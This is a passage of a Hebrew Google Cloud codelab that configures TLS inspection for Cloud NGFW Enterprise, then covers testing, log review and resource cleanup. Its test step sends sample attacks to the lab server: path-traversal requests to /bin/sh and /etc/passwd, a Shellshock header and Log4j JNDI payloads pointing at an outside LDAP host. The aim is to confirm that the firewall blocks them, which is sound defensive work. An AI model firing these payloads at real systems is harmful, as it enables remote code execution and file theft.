הפקודות שלמעלה כללו את אישור Root CA כחלק מאחסון האמון, כי אישור השרת נחתם באמצעות Root CA. כלומר, חומת האש תאמין לכל אישור שהיא תקבל וחתום על ידי רשות האישורים ברמה הבסיסית – בנוסף לרשויות האישורים הציבוריות, אם המדיניות של TLS מוגדרת כ-excludePublicCaSet ל-false.

בודקים את התוכן של הגדרת האמון.

cat trust_config.yaml

פלט לדוגמה:

חשוב לשים לב להתאמת הפסקה של האישור. הפורמט חייב להיות זהה לפורמט הזה.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

מייבאים את הגדרות האמון:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

מעדכנים את קובץ ה-YAML של מדיניות ה-TLS כך שיכלול את הגדרת האמון:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

מייבאים את מדיניות ה-TLS המעודכנת:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. אימות בדיקת TLS ליציאה ולכניסה

מתחברים חזרה ללקוח באמצעות SSH כדי לבדוק את תעבורת הנתונים מזרחה/מערב עם הגדרת האמון המעודכנת:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

מריצים את בקשת ה-TLS לדוגמה לשרת:

curl https://$target_privateip --max-time 2

אם עדיין מופיעה הפלטה הבאה, צריך להמתין עד שהעדכונים יתעדכנו.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

הפלט אמור להיראות כך:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

שולחים תעבורת נתונים זדונית לבדיקה לשרת:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

הפלט אמור להיראות כך:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

לא מתקבלות תגובות בהתאם לפלט הצפוי שמופיע בהמשך, מה שמאשר שההתקפות לדוגמה חסומות עכשיו ב-E/W.

13. רישום ביומן

מנווטים אל Logging‏ > Logs Explorer במסוף Cloud, מזינים את המסנן שבהמשך ומפעילים שאילתה ביומני המערכת. מחליפים את [PROJECT_ID] במזהה הפרויקט:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

הרשומות ביומן של Cloud NGFW Enterprise אמורות להיראות כך:

5b68cc1063c0f4bd.png

מרחיבים את הרשומות ביומן ומבחינים שההתקפות שנשלחו מהמכונה הווירטואלית של הלקוח לשרת זוהו ונחסמו (Apache Log4j Remote Code Execution Vulnerability, כפי שמופיע בצילום המסך שבהמשך).

478f18f8481e90ed.png

פרסתם בהצלחה את Cloud NGFW Enterprise עם בדיקת TLS כדי לחסום בקשות זדוניות.

עוברים לקטע הבא כדי לקרוא את השלבים לניקוי.

14. שלבי הניקוי

ניקוי ההגדרות הבסיסיות

מסירים את המכונות:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

מבצעים את השלבים הבאים if התפקידים tagAdmin ו-tagUsers השתנו:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

מסירים את המפתח והערכים של התג:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

מסירים את המדיניות והשיוך של רשת חומת האש ב-Cloud:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

מוחקים את Cloud Router ואת Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

מוחקים את כתובות ה-IP השמורות:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Cloud Firewall SPG, Association and TLS Clean-Up

מוחקים את קבוצת פרופילי האבטחה ואת פרופיל האיומים לפי הסדר הבא:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

מוחקים את השיוך של נקודת הקצה ל-Cloud Firewall:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

מוחקים את נקודת הקצה של חומת האש ב-Cloud. התהליך עשוי להימשך כ-20 דקות:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

לחלופין, אפשר להריץ את הפקודה הבאה כדי לוודא שנקודת הקצה של Cloud NGFW נמחקה:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

הסטטוס של נקודת הקצה אמור לכלול את הפרטים הבאים:

STATE: DELETING

בסיום התהליך, נקודת הקצה לא תופיע יותר ברשימה.

מוחקים את מדיניות ה-TLS ואת Trust Config לפי הסדר הזה:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

משביתים ומוחקים את Root CA ואת מאגר ה-CA:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

ניקוי של תת-רשתות ו-VPC

לבסוף, מוחקים את רשת המשנה ואת רשת ה-VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. מעולה!

מזל טוב, השלמת את הקודלהב של Cloud NGFW Enterprise לבדיקת TLS בכיוון מזרח-מערב ובכיוון צפון.